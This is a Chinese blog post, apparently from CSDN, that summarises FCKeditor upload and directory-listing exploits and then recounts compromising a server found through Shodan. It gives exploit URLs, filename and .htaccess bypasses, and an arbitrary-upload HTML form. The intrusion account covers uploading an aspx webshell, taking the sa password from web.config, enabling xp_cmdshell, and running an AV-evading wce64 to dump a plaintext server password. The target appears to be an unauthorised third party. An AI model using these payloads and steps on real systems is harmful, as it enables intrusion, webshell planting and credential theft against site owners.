1.1Fckeditor漏洞总结及其渗透某服务器
有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
1.1.1FCKeditor编辑器漏洞利用总结
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
图1获取Fckeditor版本
2.常见的测试上传地址
Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:
(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html
(2)FCKeditor/editor/filemanager/upload/test.html
(3)FCKeditor/editor/filemanager/connectors/test.html
(4)FCKeditor/editor/filemanager/connectors/uploadtest.html
3.示例上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
4.常见的上传地址
(1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
(2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
5. Windows 2003+IIS6文件解析路径漏洞
通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为:
http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg
6.iis6突破文件夹限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
(3)获取当前文件夹
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
(4)浏览E盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
(5)JSP 版本
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
9.修改Media 类型进行上传
FCKeditor 2.4.2 For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容
AppType application/x-httpd-php .jpg
另外一种方法也可以,其内容为:
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
1.1.2搜索FCKeditor目标
1.在shodan.io网站搜索FCKeditor关键字
在shodan.io网站搜索FCKeditor关键字,如图2所示,可以看到一共存在24条记录,也可以直接访问地址
https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。
图2搜索国内FCKeditor目标信息
2.逐个查看目标记录信息
对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
图3查看使用Fckeditor编辑器的目标信息
1.1.3漏洞利用及分析
1.根据端口访问服务器
单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器,例如本例中是8081端口,如图4所示,在该页面中直接目录信息泄露,可以下载dlty.rar代码文件。
图4访问目标网站
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:
http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html
如图5所示,选择网站支持编程语言为ASP.Net,然后选择一个aspx的webshell,进行上传,直接上传文件到/UserFiles/目录,文件名称也未做更改。
图5直接上传webshell
3.查看和验证上传文件
如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
图6检查和验证上传的文件
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell,如图7所示,通过查看web.config文件还获取其数据库sa账号密码为dlty。
图7获取webshell及数据库密码
5.服务器提权并获取服务器密码
(1)获取服务器架构
如图8所示,在webshell中执行cmd.exe /c set命令查看当前处理架构信息,结果显示为AMD64位。
图8获取处理架构信息
(2)连接数据库恢复xp_cmdshell
在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell,如图9所示,显示该数据库服务器中已经添加xp_cmdshell存储进程,表明前面有人入侵过。
图9数据库恢复xp_cmdshell
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
如图10所示,成功获取该服务器密码明文:×××@66009009
图10获取服务明文密码
1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。
来源:CSDN
作者:Archy_Wang_1
链接:https://blog.csdn.net/u011966339/article/details/103641749